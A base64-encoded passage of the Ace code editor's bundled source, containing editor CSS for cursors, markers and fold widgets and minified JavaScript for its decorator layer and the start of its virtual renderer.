b290aC1ibGlua2luZyAuYWNlX2N1cnNvciB7XG4gICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAxMDAwbXM7XG4gICAgYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogZWFzZS1pbi1vdXQ7XG4gICAgYW5pbWF0aW9uLW5hbWU6IGJsaW5rLWFjZS1hbmltYXRlLXNtb290aDtcbn1cbiAgICBcbkBrZXlmcmFtZXMgYmxpbmstYWNlLWFuaW1hdGUge1xuICAgIGZyb20sIHRvIHsgb3BhY2l0eTogMTsgfVxuICAgIDYwJSB7IG9wYWNpdHk6IDA7IH1cbn1cblxuQGtleWZyYW1lcyBibGluay1hY2UtYW5pbWF0ZS1zbW9vdGgge1xuICAgIGZyb20sIHRvIHsgb3BhY2l0eTogMTsgfVxuICAgIDQ1JSB7IG9wYWNpdHk6IDE7IH1cbiAgICA2MCUgeyBvcGFjaXR5OiAwOyB9XG4gICAgODUlIHsgb3BhY2l0eTogMDsgfVxufVxuXG4uYWNlX21hcmtlci1sYXllciAuYWNlX3N0ZXAsIC5hY2VfbWFya2VyLWxheWVyIC5hY2Vfc3RhY2sge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB6LWluZGV4OiAzO1xufVxuXG4uYWNlX21hcmtlci1sYXllciAuYWNlX3NlbGVjdGlvbiB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHotaW5kZXg6IDU7XG59XG5cbi5hY2VfbWFya2VyLWxheWVyIC5hY2VfYnJhY2tldCB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHotaW5kZXg6IDY7XG59XG5cbi5hY2VfbWFya2VyLWxheWVyIC5hY2VfZXJyb3JfYnJhY2tldCB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjREU1NTU1O1xuICAgIGJvcmRlci1yYWRpdXM6IDA7XG59XG5cbi5hY2VfbWFya2VyLWxheWVyIC5hY2VfYWN0aXZlLWxpbmUge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB6LWluZGV4OiAyO1xufVxuXG4uYWNlX21hcmtlci1sYXllciAuYWNlX3NlbGVjdGVkLXdvcmQge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB6LWluZGV4OiA0O1xuICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG59XG5cbi5hY2VfbGluZSAuYWNlX2ZvbGQge1xuICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgaGVpZ2h0OiAxMXB4O1xuICAgIG1hcmdpbi10b3A6IC0ycHg7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcblxuICAgIGJhY2tncm91bmQtaW1hZ2U6XG4gICAgICAgIHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCRUFBQUFKQ0FZQUFBRFU2TWNNQUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFKcEpSRUZVZU5waS9QLy9Qd09sZ0FYR1lHUmtsQVZTb2tEOEdtandZMXdhc0tsalFwWUFDdHBDRmVBRGNIVlFmUXlNUUF3endBWkkzd0pLdkNMa2ZLQmFNU0NsQmxSN0JPUWlrQ0ZHUUVFcklIMFZxa2FiaUdDQXF3VWFkQXpaSlJ4UXIvMGd3aVhJYWw4elFRUG5OVlRnSjFUZGF3TDBUNWdCSVAxTVVKTmhCdjJIS29RSEhqcU5yQTRXTzR6WTBnbHlOS0xUMktJZklNQUFRc2RnR2lYdmduWUFBQUFBU1VWT1JLNUNZSUk9IiksXG4gICAgICAgIHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFBRUFBQUEzQ0FZQUFBRE5OaUE1QUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFDSkpSRUZVZU5waStQLy9meGdUQXdQREJ4RHhEMDc4UlNYK1llRXlERk1DSU1BQUkzSU5tWGl3ZjJZQUFBQUFTVVZPUks1Q1lJST0iKTtcbiAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0LCByZXBlYXQteDtcbiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgY2VudGVyLCB0b3AgbGVmdDtcbiAgICBjb2xvcjogdHJhbnNwYXJlbnQ7XG5cbiAgICBib3JkZXI6IDFweCBzb2xpZCBibGFjaztcbiAgICBib3JkZXItcmFkaXVzOiAycHg7XG5cbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgcG9pbnRlci1ldmVudHM6IGF1dG87XG59XG5cbi5hY2VfZGFyayAuYWNlX2ZvbGQge1xufVxuXG4uYWNlX2ZvbGQ6aG92ZXJ7XG4gICAgYmFja2dyb3VuZC1pbWFnZTpcbiAgICAgICAgdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJFQUFBQUpDQVlBQUFEVTZNY01BQUFBR1hSRldIUlRiMlowZDJGeVpRQkJaRzlpWlNCSmJXRm5aVkpsWVdSNWNjbGxQQUFBQUpwSlJFRlVlTnBpL1AvL1B3T2xnQVhHWUdSa2xBVlNva0Q4R21qd1kxd2FzS2xqUXBZQUN0cENGZUFEY0hWUWZReU1RQXd6d0FaSTN3Skt2Q0xrZktCYU1TQ2xCbFI3Qk9RaWtDRkdRRUVySUgwVnFrYWJpR0NBcXdVYWRBelpKUnhRci8wZ3dpWElhbDh6UVFQbk5WVGdKMVRkYXdMMFQ1Z0JJUDFNVUpOaEJ2MkhLb1FISGpxTnJBNFdPNHpZMGdseU5LTFQyS0lmSU1BQVFzZGdHaVh2Z25ZQUFBQUFTVVZPUks1Q1lJST0iKSxcbiAgICAgICAgdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUFFQUFBQTNDQVlBQUFETk5pQTVBQUFBR1hSRldIUlRiMlowZDJGeVpRQkJaRzlpWlNCSmJXRm5aVkpsWVdSNWNjbGxQQUFBQUNCSlJFRlVlTnBpK1AvL2Z6NFRBd1BEWnhEeEQ1WDRpNWZMTUV3SmdBQURBRVBWRGJqTnc4N1pBQUFBQUVsRlRrU3VRbUNDIik7XG59XG5cbi5hY2VfdG9vbHRpcCB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCB0cmFuc3BhcmVudCwgcmdiYSgwLCAwLCAwLCAwLjEpKTtcbiAgICBib3JkZXI6IDFweCBzb2xpZCBncmF5O1xuICAgIGJvcmRlci1yYWRpdXM6IDFweDtcbiAgICBib3gtc2hhZG93OiAwIDFweCAycHggcmdiYSgwLCAwLCAwLCAwLjMpO1xuICAgIGNvbG9yOiBibGFjaztcbiAgICBtYXgtd2lkdGg6IDEwMCU7XG4gICAgcGFkZGluZzogM3B4IDRweDtcbiAgICBwb3NpdGlvbjogZml4ZWQ7XG4gICAgei1pbmRleDogOTk5OTk5O1xuICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgY3Vyc29yOiBkZWZhdWx0O1xuICAgIHdoaXRlLXNwYWNlOiBwcmU7XG4gICAgd29yZC13cmFwOiBicmVhay13b3JkO1xuICAgIGxpbmUtaGVpZ2h0OiBub3JtYWw7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuLmFjZV9mb2xkaW5nLWVuYWJsZWQgPiAuYWNlX2d1dHRlci1jZWxsIHtcbiAgICBwYWRkaW5nLXJpZ2h0OiAxM3B4O1xufVxuXG4uYWNlX2ZvbGQtd2lkZ2V0IHtcbiAgICBib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXG4gICAgbWFyZ2luOiAwIC0xMnB4IDAgMXB4O1xuICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgd2lkdGg6IDExcHg7XG4gICAgdmVydGljYWwtYWxpZ246IHRvcDtcblxuICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFBVUFBQUFGQ0FZQUFBQ05ieWJsQUFBQU5FbEVRVlI0Mm1XS3NRMEFNQXpDOGl4TGxyelFqem1CaUVqcDBBNld3QkNTUGdLQVhvTGtxU290N25OM3lNd1I3cFozMk56cEtrVm9EQlV4S0FBQUFBQkpSVTVFcmtKZ2dnPT0iKTtcbiAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjtcblxuICAgIGJvcmRlci1yYWRpdXM6IDNweDtcbiAgICBcbiAgICBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5hY2VfZm9sZGluZy1lbmFibGVkIC5hY2VfZm9sZC13aWRnZXQge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsgICBcbn1cblxuLmFjZV9mb2xkLXdpZGdldC5hY2VfZW5kIHtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQVVBQUFBRkNBWUFBQUNOYnlibEFBQUFORWxFUVZSNDJtM0h3UWtBTUFoRDBZenNSY2hGS0k3c0Fpa2VXa3J4d1NjRUIwbmg1ZTdLVFBXaW1aa2k0dFlmVmJYK01ObDRweVpYZWpVTzFRQUFBQUJKUlU1RXJrSmdnZz09Iik7XG59XG5cbi5hY2VfZm9sZC13aWRnZXQuYWNlX2Nsb3NlZCB7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUFNQUFBQUdDQVlBQUFBRzVTUU1BQUFBT1VsRVFWUjQyalhLd1FrQU1BZ0R3S3dxS0Q0RXdRMjZzU09rVldqZ0lJSEF6UGlDZ2FxaXFuSkhabktJQ0JFUkhOMTk0TzViOXZiTHVBVlJMK2wwWVduWkFBQUFBRWxGVGtTdVFtQ0NYQT09Iik7XG59XG5cbi5hY2VfZm9sZC13aWRnZXQ6aG92ZXIge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwgMCwgMCwgMC4zKTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMik7XG4gICAgYm94LXNoYWRvdzogMCAxcHggMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC43KTtcbn1cblxuLmFjZV9mb2xkLXdpZGdldDphY3RpdmUge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwgMCwgMCwgMC40KTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIDAuMDUpO1xuICAgIGJveC1zaGFkb3c6IDAgMXB4IDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuOCk7XG59XG4vKipcbiAqIERhcmsgdmVyc2lvbiBmb3IgZm9sZCB3aWRnZXRzXG4gKi9cbi5hY2VfZGFyayAuYWNlX2ZvbGQtd2lkZ2V0IHtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQVVBQUFBRkNBWUFBQUNOYnlibEFBQUFIa2xFUVZRSVcyUDQvLzgvQXpvR0VRN29HQ2FMTEFoV2lTd0IxNDZCQVFDU1RQWW9jcVQwQUFBQUFFbEZUa1N1UW1DQyIpO1xufVxuLmFjZV9kYXJrIC5hY2VfZm9sZC13aWRnZXQuYWNlX2VuZCB7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUFVQUFBQUZDQVlBQUFDTmJ5YmxBQUFBSDBsRVFWUUlXMlA0Ly84L0F4UTd3TmpJQWpETWdDNEF4akNWS0JpcklBQUYwa3oycmxoeHBBQUFBQUJKUlU1RXJrSmdnZz09Iik7XG59XG4uYWNlX2RhcmsgLmFjZV9mb2xkLXdpZGdldC5hY2VfY2xvc2VkIHtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQU1BQUFBRkNBWUFBQUNBY1ZhaUFBQUFIRWxFUVZRSVcyUDQvLysvQXhBemdEQURsT09Bem5IQUtnUFdBd0FSamk4VUlEVGZRUUFBQUFCSlJVNUVya0pnZ2c9PSIpO1xufVxuLmFjZV9kYXJrIC5hY2VfZm9sZC13aWRnZXQ6aG92ZXIge1xuICAgIGJveC1zaGFkb3c6IDAgMXB4IDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMik7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjEpO1xufVxuLmFjZV9kYXJrIC5hY2VfZm9sZC13aWRnZXQ6YWN0aXZlIHtcbiAgICBib3gtc2hhZG93OiAwIDFweCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjIpO1xufVxuXG4uYWNlX2lubGluZV9idXR0b24ge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkIGxpZ2h0Z3JheTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgbWFyZ2luOiAtMXB4IDhweDtcbiAgICBwYWRkaW5nOiAwIDVweDtcbiAgICBwb2ludGVyLWV2ZW50czogYXV0bztcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG59XG4uYWNlX2lubGluZV9idXR0b246aG92ZXIge1xuICAgIGJvcmRlci1jb2xvcjogZ3JheTtcbiAgICBiYWNrZ3JvdW5kOiByZ2JhKDIwMCwyMDAsMjAwLDAuMik7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIHBvaW50ZXItZXZlbnRzOiBhdXRvO1xufVxuXG4uYWNlX2ZvbGQtd2lkZ2V0LmFjZV9pbnZhbGlkIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZCNEI0O1xuICAgIGJvcmRlci1jb2xvcjogI0RFNTU1NTtcbn1cblxuLmFjZV9mYWRlLWZvbGQtd2lkZ2V0cyAuYWNlX2ZvbGQtd2lkZ2V0IHtcbiAgICB0cmFuc2l0aW9uOiBvcGFjaXR5IDAuNHMgZWFzZSAwLjA1cztcbiAgICBvcGFjaXR5OiAwO1xufVxuXG4uYWNlX2ZhZGUtZm9sZC13aWRnZXRzOmhvdmVyIC5hY2VfZm9sZC13aWRnZXQge1xuICAgIHRyYW5zaXRpb246IG9wYWNpdHkgMC4wNXMgZWFzZSAwLjA1cztcbiAgICBvcGFjaXR5OjE7XG59XG5cbi5hY2VfdW5kZXJsaW5lIHtcbiAgICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTtcbn1cblxuLmFjZV9ib2xkIHtcbiAgICBmb250LXdlaWdodDogYm9sZDtcbn1cblxuLmFjZV9ub2JvbGQgLmFjZV9ib2xkIHtcbiAgICBmb250LXdlaWdodDogbm9ybWFsO1xufVxuXG4uYWNlX2l0YWxpYyB7XG4gICAgZm9udC1zdHlsZTogaXRhbGljO1xufVxuXG5cbi5hY2VfZXJyb3ItbWFya2VyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMCwgMCwwLjIpO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB6LWluZGV4OiA5O1xufVxuXG4uYWNlX2hpZ2hsaWdodC1tYXJrZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDAsMC4yKTtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgei1pbmRleDogODtcbn1cblxuLmFjZV9tb2JpbGUtbWVudSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIGxpbmUtaGVpZ2h0OiAxLjU7XG4gICAgYm9yZGVyLXJhZGl1czogNHB4O1xuICAgIC1tcy11c2VyLXNlbGVjdDogbm9uZTtcbiAgICAtbW96LXVzZXItc2VsZWN0OiBub25lO1xuICAgIC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgYmFja2dyb3VuZDogd2hpdGU7XG4gICAgYm94LXNoYWRvdzogMXB4IDNweCAycHggZ3JleTtcbiAgICBib3JkZXI6IDFweCBzb2xpZCAjZGNkY2RjO1xuICAgIGNvbG9yOiBibGFjaztcbn1cbi5hY2VfZGFyayA+IC5hY2VfbW9iaWxlLW1lbnUge1xuICAgIGJhY2tncm91bmQ6ICMzMzM7XG4gICAgY29sb3I6ICNjY2M7XG4gICAgYm94LXNoYWRvdzogMXB4IDNweCAycHggZ3JleTtcbiAgICBib3JkZXI6IDFweCBzb2xpZCAjNDQ0O1xuXG59XG4uYWNlX21vYmlsZS1idXR0b24ge1xuICAgIHBhZGRpbmc6IDJweDtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgb3ZlcmZsb3c6IGhpZGRlbjtcbn1cbi5hY2VfbW9iaWxlLWJ1dHRvbjpob3ZlciB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogI2VlZTtcbiAgICBvcGFjaXR5OjE7XG59XG4uYWNlX21vYmlsZS1idXR0b246YWN0aXZlIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkO1xufVxuXG4uYWNlX3BsYWNlaG9sZGVyIHtcbiAgICBmb250LWZhbWlseTogYXJpYWw7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgwLjkpO1xuICAgIHRyYW5zZm9ybS1vcmlnaW46IGxlZnQ7XG4gICAgd2hpdGUtc3BhY2U6IHByZTtcbiAgICBvcGFjaXR5OiAwLjc7XG4gICAgbWFyZ2luOiAwIDEwcHg7XG59J30pLGRlZmluZSgiYWNlL2xheWVyL2RlY29yYXRvcnMiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2RvbSIsImFjZS9saWIvb29wIiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuLi9saWIvZG9tIiksaT1lKCIuLi9saWIvb29wIikscz1lKCIuLi9saWIvZXZlbnRfZW1pdHRlciIpLkV2ZW50RW1pdHRlcixvPWZ1bmN0aW9uKGUsdCl7dGhpcy5jYW52YXM9ci5jcmVhdGVFbGVtZW50KCJjYW52YXMiKSx0aGlzLnJlbmRlcmVyPXQsdGhpcy5waXhlbFJhdGlvPTEsdGhpcy5tYXhIZWlnaHQ9dC5sYXllckNvbmZpZy5tYXhIZWlnaHQsdGhpcy5saW5lSGVpZ2h0PXQubGF5ZXJDb25maWcubGluZUhlaWdodCx0aGlzLmNhbnZhc0hlaWdodD1lLnBhcmVudC5zY3JvbGxIZWlnaHQsdGhpcy5oZWlnaHRSYXRpbz10aGlzLmNhbnZhc0hlaWdodC90aGlzLm1heEhlaWdodCx0aGlzLmNhbnZhc1dpZHRoPWUud2lkdGgsdGhpcy5taW5EZWNvcmF0aW9uSGVpZ2h0PTIqdGhpcy5waXhlbFJhdGlvfDAsdGhpcy5oYWxmTWluRGVjb3JhdGlvbkhlaWdodD10aGlzLm1pbkRlY29yYXRpb25IZWlnaHQvMnwwLHRoaXMuY2FudmFzLndpZHRoPXRoaXMuY2FudmFzV2lkdGgsdGhpcy5jYW52YXMuaGVpZ2h0PXRoaXMuY2FudmFzSGVpZ2h0LHRoaXMuY2FudmFzLnN0eWxlLnRvcD0iMHB4Iix0aGlzLmNhbnZhcy5zdHlsZS5yaWdodD0iMHB4Iix0aGlzLmNhbnZhcy5zdHlsZS56SW5kZXg9IjdweCIsdGhpcy5jYW52YXMuc3R5bGUucG9zaXRpb249ImFic29sdXRlIix0aGlzLmNvbG9ycz17fSx0aGlzLmNvbG9ycy5kYXJrPXtlcnJvcjoicmdiYSgyNTUsIDE4LCAxOCwgMSkiLHdhcm5pbmc6InJnYmEoMTgsIDEzNiwgMTgsIDEpIixpbmZvOiJyZ2JhKDE4LCAxOCwgMTM2LCAxKSJ9LHRoaXMuY29sb3JzLmxpZ2h0PXtlcnJvcjoicmdiKDI1NSw1MSw1MSkiLHdhcm5pbmc6InJnYigzMiwxMzMsNzIpIixpbmZvOiJyZ2IoMzUsNjgsMTM4KSJ9LGUuZWxlbWVudC5hcHBlbmRDaGlsZCh0aGlzLmNhbnZhcyl9OyhmdW5jdGlvbigpe2kuaW1wbGVtZW50KHRoaXMscyksdGhpcy4kdXBkYXRlRGVjb3JhdG9ycz1mdW5jdGlvbihlKXtmdW5jdGlvbiBpKGUsdCl7cmV0dXJuIGUucHJpb3JpdHk8dC5wcmlvcml0eT8tMTplLnByaW9yaXR5PnQucHJpb3JpdHk/MTowfXZhciB0PXRoaXMucmVuZGVyZXIudGhlbWUuaXNEYXJrPT09ITA/dGhpcy5jb2xvcnMuZGFyazp0aGlzLmNvbG9ycy5saWdodDtpZihlKXt0aGlzLm1heEhlaWdodD1lLm1heEhlaWdodCx0aGlzLmxpbmVIZWlnaHQ9ZS5saW5lSGVpZ2h0LHRoaXMuY2FudmFzSGVpZ2h0PWUuaGVpZ2h0O3ZhciBuPShlLmxhc3RSb3crMSkqdGhpcy5saW5lSGVpZ2h0O248dGhpcy5jYW52YXNIZWlnaHQ/dGhpcy5oZWlnaHRSYXRpbz0xOnRoaXMuaGVpZ2h0UmF0aW89dGhpcy5jYW52YXNIZWlnaHQvdGhpcy5tYXhIZWlnaHR9dmFyIHI9dGhpcy5jYW52YXMuZ2V0Q29udGV4dCgiMmQiKSxzPXRoaXMucmVuZGVyZXIuc2Vzc2lvbi4kYW5ub3RhdGlvbnM7ci5jbGVhclJlY3QoMCwwLHRoaXMuY2FudmFzLndpZHRoLHRoaXMuY2FudmFzLmhlaWdodCk7aWYocyl7dmFyIG89e2luZm86MSx3YXJuaW5nOjIsZXJyb3I6M307cy5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucHJpb3JpdHk9b1tlLnR5cGVdfHxudWxsfSkscz1zLnNvcnQoaSk7dmFyIHU9dGhpcy5yZW5kZXJlci5zZXNzaW9uLiRmb2xkRGF0YTtmb3IodmFyIGE9MDthPHMubGVuZ3RoO2ErKyl7dmFyIGY9c1thXS5yb3csbD10aGlzLmNvbXBlbnNhdGVGb2xkUm93cyhmLHUpLGM9TWF0aC5yb3VuZCgoZi1sKSp0aGlzLmxpbmVIZWlnaHQqdGhpcy5oZWlnaHRSYXRpbyksaD1NYXRoLnJvdW5kKChmLWwpKnRoaXMubGluZUhlaWdodCp0aGlzLmhlaWdodFJhdGlvKSxwPU1hdGgucm91bmQoKChmLWwpKnRoaXMubGluZUhlaWdodCt0aGlzLmxpbmVIZWlnaHQpKnRoaXMuaGVpZ2h0UmF0aW8pLGQ9cC1oO2lmKGQ8dGhpcy5taW5EZWNvcmF0aW9uSGVpZ2h0KXt2YXIgdj0oaCtwKS8yfDA7djx0aGlzLmhhbGZNaW5EZWNvcmF0aW9uSGVpZ2h0P3Y9dGhpcy5oYWxmTWluRGVjb3JhdGlvbkhlaWdodDp2K3RoaXMuaGFsZk1pbkRlY29yYXRpb25IZWlnaHQ+dGhpcy5jYW52YXNIZWlnaHQmJih2PXRoaXMuY2FudmFzSGVpZ2h0LXRoaXMuaGFsZk1pbkRlY29yYXRpb25IZWlnaHQpLGg9TWF0aC5yb3VuZCh2LXRoaXMuaGFsZk1pbkRlY29yYXRpb25IZWlnaHQpLHA9TWF0aC5yb3VuZCh2K3RoaXMuaGFsZk1pbkRlY29yYXRpb25IZWlnaHQpfXIuZmlsbFN0eWxlPXRbc1thXS50eXBlXXx8bnVsbCxyLmZpbGxSZWN0KDAsYyx0aGlzLmNhbnZhc1dpZHRoLHAtaCl9fXZhciBtPXRoaXMucmVuZGVyZXIuc2Vzc2lvbi5zZWxlY3Rpb24uZ2V0Q3Vyc29yKCk7aWYobSl7dmFyIGw9dGhpcy5jb21wZW5zYXRlRm9sZFJvd3MobS5yb3csdSksYz1NYXRoLnJvdW5kKChtLnJvdy1sKSp0aGlzLmxpbmVIZWlnaHQqdGhpcy5oZWlnaHRSYXRpbyk7ci5maWxsU3R5bGU9InJnYmEoMCwgMCwgMCwgMC41KSIsci5maWxsUmVjdCgwLGMsdGhpcy5jYW52YXNXaWR0aCwyKX19LHRoaXMuY29tcGVuc2F0ZUZvbGRSb3dzPWZ1bmN0aW9uKGUsdCl7dmFyIG49MDtpZih0JiZ0Lmxlbmd0aD4wKWZvcih2YXIgcj0wO3I8dC5sZW5ndGg7cisrKWU+dFtyXS5zdGFydC5yb3cmJmU8dFtyXS5lbmQucm93P24rPWUtdFtyXS5zdGFydC5yb3c6ZT49dFtyXS5lbmQucm93JiYobis9dFtyXS5lbmQucm93LXRbcl0uc3RhcnQucm93KTtyZXR1cm4gbn19KS5jYWxsKG8ucHJvdG90eXBlKSx0LkRlY29yYXRvcj1vfSksZGVmaW5lKCJhY2UvdmlydHVhbF9yZW5kZXJlciIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvb29wIiwiYWNlL2xpYi9kb20iLCJhY2UvY29uZmlnIiwiYWNlL2xheWVyL2d1dHRlciIsImFjZS9sYXllci9tYXJrZXIiLCJhY2UvbGF5ZXIvdGV4dCIsImFjZS9sYXllci9jdXJzb3IiLCJhY2Uvc2Nyb2xsYmFyIiwiYWNlL3Njcm9sbGJhciIsImFjZS9zY3JvbGxiYXJfY3VzdG9tIiwiYWNlL3Njcm9sbGJhcl9jdXN0b20iLCJhY2UvcmVuZGVybG9vcCIsImFjZS9sYXllci9mb250X21ldHJpY3MiLCJhY2UvbGliL2V2ZW50X2VtaXR0ZXIiLCJhY2UvY3NzL2VkaXRvci5jc3MiLCJhY2UvbGF5ZXIvZGVjb3JhdG9ycyIsImFjZS9saWIvdXNlcmFnZW50Il0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL2xpYi9vb3AiKSxpPWUoIi4vbGliL2RvbSIpLHM9ZSgiLi9jb25maWciKSxvPWUoIi4vbGF5ZXIvZ3V0dGVyIikuR3V0dGVyLHU9ZSgiLi9sYXllci9tYXJrZXIiKS5NYXJrZXIsYT1lKCIuL2xheWVyL3RleHQiKS5UZXh0LGY9ZSgiLi9sYXllci9jdXJzb3IiKS5DdXJzb3IsbD1lKCIuL3Njcm9sbGJhciIpLkhTY3JvbGxCYXIsYz1lKCIuL3Njcm9sbGJhciIpLlZTY3JvbGxCYXIsaD1lKCIuL3Njcm9sbGJhcl9jdXN0b20iKS5IU2Nyb2xsQmFyLHA9ZSgiLi9zY3JvbGxiYXJfY3VzdG9tIikuVlNjcm9sbEJhcixkPWUoIi4vcmVuZGVybG9vcCIpLlJlbmRlckxvb3Asdj1lKCIuL2xheWVyL2ZvbnRfbWV0cmljcyIpLkZvbnRNZXRyaWNzLG09ZSgiLi9saWIvZXZlbnRfZW1pdHRlciIpLkV2ZW50RW1pdHRlcixnPWUoIi4vY3NzL2VkaXRvci5jc3MiKSx5PWUoIi4vbGF5ZXIvZGVjb3JhdG9ycyIpLkRlY29yYXRvcixiPWUoIi4vbGliL3VzZXJhZ2VudCIpLHc9Yi5pc0lFO2kuaW1wb3J0Q3NzU3RyaW5nKGcsImFjZV9lZGl0b3IuY3NzIiwhMSk7dmFyIEU9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzO3RoaXMuY29udGFpbmVyPWV8fGkuY3JlYXRlRWxlbWVudCgiZGl2IiksaS5hZGRDc3NDbGFzcyh0aGlzLmNvbnRhaW5lciwiYWNlX2VkaXRvciIpLGkuSElfRFBJJiZpLmFkZENzc0NsYXNzKHRoaXMuY29udGFpbmVyLCJhY2VfaGlkcGkiKSx0aGlzLnNldFRoZW1lKHQpLHMuZ2V0KCJ1c2VTdHJpY3RDU1AiKT09bnVsbCYmcy5zZXQoInVzZVN0cmljdENTUCIsITEpLHRoaXMuJGd1dHRlcj1pLmNyZWF0ZUVsZW1lbnQoImRpdiIpLHRoaXMuJGd1dHRlci5jbGFzc05hbWU9ImFjZV9ndXR0ZXIiLHRoaXMuY29udGFpbmVyLmFwcGVuZENoaWxkKHRoaXMuJGd1dHRlciksdGhpcy4kZ3V0dGVyLnNldEF0dHJpYnV0ZSgiYXJpYS1oaWRkZW4iLCEwKSx0aGlzLnNjcm9sbGVyPWkuY3JlYXRlRW